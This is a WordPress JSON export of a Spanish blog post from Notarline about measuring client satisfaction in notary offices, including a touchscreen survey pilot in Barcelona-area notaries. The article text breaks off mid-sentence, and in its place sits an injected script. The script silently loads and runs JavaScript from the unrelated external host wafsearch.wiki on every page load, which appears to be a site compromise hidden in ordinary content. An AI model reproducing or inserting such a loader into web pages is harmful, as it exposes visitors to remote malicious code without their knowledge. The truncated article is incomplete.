{"id":472,"date":"2021-02-09T15:04:09","date_gmt":"2021-02-09T15:04:09","guid":{"rendered":"http:\/\/www.notarline.com\/notarline\/?p=472"},"modified":"2025-06-17T15:18:44","modified_gmt":"2025-06-17T15:18:44","slug":"medir-la-satisfaccion-del-cliente-de-la-notaria-es-sencillo-y-muy-positivo","status":"publish","type":"post","link":"https:\/\/www.notarline.com\/notarline\/blog\/2021\/02\/09\/medir-la-satisfaccion-del-cliente-de-la-notaria-es-sencillo-y-muy-positivo\/","title":{"rendered":"Medir la satisfacci\u00f3n del cliente de la notar\u00eda es sencillo y muy positivo"},"content":{"rendered":"<p>Recientemente se ha publicado un estudio que analiza la <a href=\"https:\/\/escriturapublica.es\/2021\/01\/22\/lo-que-piensan-los-ciudadanos-de-los-notarios\/\" target=\"_blank\" rel=\"noopener noreferrer\">percepci\u00f3n que tienen los ciudadanos de la profesi\u00f3n notarial<\/a>. La encuesta, que tiene una periodicidad quinquenal, arroja resultados positivos, con un 77% de los usuarios que valora bien o muy bien el servicio en su conjunto. Desde Notaline aplaudimos la realizaci\u00f3n de este tipo de estudios, pero nos atrevemos a dar un paso m\u00e1s y <strong>alentar el an\u00e1lisis de la experiencia de los clientes propios de cada notar\u00eda<\/strong>.<\/p>\n<p>&nbsp;<\/p>\n<p>El economista Philip Kotler, considerado el padre del marketing moderno, afirmaba que \u201cel marketing identifica necesidades de un mercado objetivo y permite crear y entregar valor para satisfacer esas necesidades\u201d. La clave es, por tanto, \u201cidentificar\u201d para \u201csatisfacer\u201d.<\/p>\n<p>Las palabras de Kotler tienen hoy en d\u00eda una evidente aplicaci\u00f3n pr\u00e1ctica. Grandes superficies comerciales -como El Corte Ingles o Ikea- entidades bancarias, ayuntamientos y empresas e instituciones de todos los \u00e1mbitos y sectores piden a los usuarios que eval\u00faen la atenci\u00f3n y el servicio recibidos a trav\u00e9s de llamadas telef\u00f3nicas, encuestas online o sencillos pulsadores de satisfacci\u00f3n que se encuentran en el mismo lugar de prestaci\u00f3n del servicio. Las respuestas obtenidas son valios\u00edsimas para calibrar el servicio que se ofrece y poder introducir ajustes, en caso necesario.<\/p>\n<p>&nbsp;<\/p>\n<h4>Encuesta de satisfacci\u00f3n<\/h4>\n<p>No tardaremos mucho en ver de manera generalizada, tambi\u00e9n en las notar\u00edas, estos sencillos sistemas que miden el grado de satisfacci\u00f3n de los clientes. Hay tres buenos motivos para ello: la tecnolog\u00eda actual lo permite, los costes de implementar estos sistemas se han abaratado mucho en los \u00faltimos a\u00f1os y los clientes est\u00e1n acostumbrados a su uso.<\/p>\n<p>Disponer de un pulsador de satisfacci\u00f3n en la recepci\u00f3n de la notar\u00eda, por ejemplo, <strong>permitir\u00eda al notario conocer sus puntos fuertes de cara al cliente y detectar las \u00e1reas de mejora en cuanto a atenci\u00f3n y servicio<\/strong>.<\/p>\n<p>&nbsp;<\/p>\n<h4>Prueba piloto<\/h4>\n<p>Notarline ya puso en marcha una<strong> prueba piloto hace unos a\u00f1os<\/strong> en tres notar\u00edas de Barcelona y Badalona. Fue el primer sistema de encuestas en Espa\u00f1a para medir el grado de satisfacci\u00f3n de los clientes de una notar\u00eda y<strong> los resultados fueron muy positivos, tanto por parte de los notarios, como de sus clientes, que valoraron el deseo de mejora y de ofrecer un mejor servicio por parte del despacho notarial<\/strong>.<\/p>\n<p>El sistema implementado consist\u00eda en un dispositivo t\u00e1ctil muy f\u00e1cil de utilizar, intuitivo, poco intrusivo y que, colocado en la recepci\u00f3n o en una sala de firmas, permit\u00eda recoger la opini\u00f3n de los clientes de forma inmediata.<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-medium wp-image-473 aligncenter\" src=\"http:\/\/www.notarline.com\/notarline\/wp-content\/uploads\/2021\/02\/Satisfaccion-cliente-notaria-notarline-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https:\/\/www.notarline.com\/notarline\/wp-content\/uploads\/2021\/02\/Satisfaccion-cliente-notaria-notarline-300x200.jpg 300w, https:\/\/www.notarline.com\/notarline\/wp-content\/uploads\/2021\/02\/Satisfaccion-cliente-notaria-notarline-1024x683.jpg 1024w, https:\/\/www.notarline.com\/notarline\/wp-content\/uploads\/2021\/02\/Satisfaccion-cliente-notaria-notarline-768x512.jpg 768w, https:\/\/www.notarline.com\/notarline\/wp-content\/uploads\/2021\/02\/Satisfaccion-cliente-notaria-notarline-1536x1024.jpg 1536w, https:\/\/www.notarline.com\/notarline\/wp-content\/uploads\/2021\/02\/Satisfaccion-cliente-notaria-notarline-2048x1365.jpg 2048w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>El terminal recog\u00eda las respuestas y las enviaba en tiempo real a un sistema de <em>Business Intelligence<\/em>. Peri\u00f3dicamente Notarline hac\u00eda llegar al notario un informe personalizado con los resultados del cuestionario que le serv\u00eda para conocer con m\u00e1s precisi\u00f3n los puntos fuertes y puntos d\u00e9biles de su despacho.<\/p>\n<p>La posibilidad de<strong> obtener el <em>feedback<\/em> de los clientes facilita<\/strong>, sin duda,.<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Recientemente se ha publicado un estudio que analiza la percepci\u00f3n que tienen los ciudadanos de la profesi\u00f3n notarial. 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